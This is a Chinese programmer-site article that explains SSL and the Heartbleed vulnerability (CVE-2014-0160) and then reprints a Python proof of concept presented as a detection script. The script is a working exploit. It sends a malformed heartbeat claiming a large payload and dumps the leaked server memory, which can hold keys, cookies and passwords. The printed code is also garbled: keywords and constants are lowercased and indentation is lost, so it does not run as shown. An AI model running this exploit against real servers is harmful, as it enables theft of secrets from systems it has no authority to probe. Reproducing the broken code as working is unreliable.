一个检测OpenSSL心脏出血漏洞的Python脚本分享
程序员文章站
2022-06-08 20:58:29
什么是ssl?
ssl是一种流行的加密技术,可以保护用户通过互联网传输的隐私信息。网站采用此加密技术后,第三方无法读取你与该网站之间的任何通讯信息。在后台,通过ssl加密...
什么是ssl?
ssl是一种流行的加密技术,可以保护用户通过互联网传输的隐私信息。网站采用此加密技术后,第三方无法读取你与该网站之间的任何通讯信息。在后台,通过ssl加密的数据只有接收者才能解密。
ssl最早在1994年由网景推出,1990年代以来已经被所有主流浏览器采纳。
什么是“心脏出血”漏洞?
ssl标准包含一个心跳选项,允许ssl连接一端的电脑发出一条简短的信息,确认另一端的电脑仍然在线,并获取反馈。研究人员发现,可以通过巧妙的手段发出恶意心跳信息,欺骗另一端的电脑泄露机密信息。受影响的电脑可能会因此而被骗,并发送服务器内存中的信息。
谁发现的这个问题?
该漏洞是由codenomicon和谷歌安全部门的研究人员独立发现的。为了将影响降到最低,研究人员已经与openssl团队和其他关键的内部人士展开了合作,在公布该问题前就已经准备好修复方案。
检测openssl心脏出血漏洞的python脚本
复制代码 代码如下:
#!/usr/bin/python
# quick and dirty demonstration of cve-2014-0160 by jared stafford (jspenguin@jspenguin.org)
# the author disclaims copyright to this source code.
import sys
import struct
import socket
import time
import select
import re
from optparse import optionparser
options = optionparser(usage='%prog server [options]', description='test for ssl heartbeat vulnerability (cve-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='tcp port to test (default: 443)')
def h2bin(x):
return x.replace(' ', '').replace('\n', '').decode('hex')
hello = h2bin('''
16 03 02 00 dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00
00 0f 00 01 01
''')
hb = h2bin('''
18 03 02 00 03
01 40 00
''')
def hexdump(s):
for b in xrange(0, len(s), 16):
lin = [c for c in s[b : b + 16]]
hxdat = ' '.join('%02x' % ord(c) for c in lin)
pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
print ' %04x: %-48s %s' % (b, hxdat, pdat)
def recvall(s, length, timeout=5):
endtime = time.time() + timeout
rdata = ''
remain = length
while remain > 0:
rtime = endtime - time.time()
if rtime < 0:
return none
r, w, e = select.select([s], [], [], 5)
if s in r:
data = s.recv(remain)
# eof?
if not data:
return none
rdata += data
remain -= len(data)
return rdata
def recvmsg(s):
hdr = recvall(s, 5)
if hdr is none:
print 'unexpected eof receiving record header - server closed connection'
return none, none, none
typ, ver, ln = struct.unpack('>bhh', hdr)
pay = recvall(s, ln, 10)
if pay is none:
print 'unexpected eof receiving record payload - server closed connection'
return none, none, none
print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
return typ, ver, pay
def hit_hb(s):
s.send(hb)
while true:
typ, ver, pay = recvmsg(s)
if typ is none:
print 'no heartbeat response received, server likely not vulnerable'
return false
if typ == 24:
print 'received heartbeat response:'
hexdump(pay)
if len(pay) > 3:
print 'warning: server returned more data than it should - server is vulnerable!'
else:
print 'server processed malformed heartbeat, but did not return any extra data.'
return true
if typ == 21:
print 'received alert:'
hexdump(pay)
print 'server returned error, likely not vulnerable'
return false
def main():
opts, args = options.parse_args()
if len(args) < 1:
options.print_help()
return
s = socket.socket(socket.af_inet, socket.sock_stream)
print 'connecting...'
sys.stdout.flush()
s.connect((args[0], opts.port))
print 'sending client hello...'
sys.stdout.flush()
s.send(hello)
print 'waiting for server hello...'
sys.stdout.flush()
while true:
typ, ver, pay = recvmsg(s)
if typ == none:
print 'server closed connection without sending server hello.'
return
# look for server hello done message.
if typ == 22 and ord(pay[0]) == 0x0e:
break
print 'sending heartbeat request...'
sys.stdout.flush()
s.send(hb)
hit_hb(s)
if __name__ == '__main__':
main()
下一篇: linux 添加用户、权限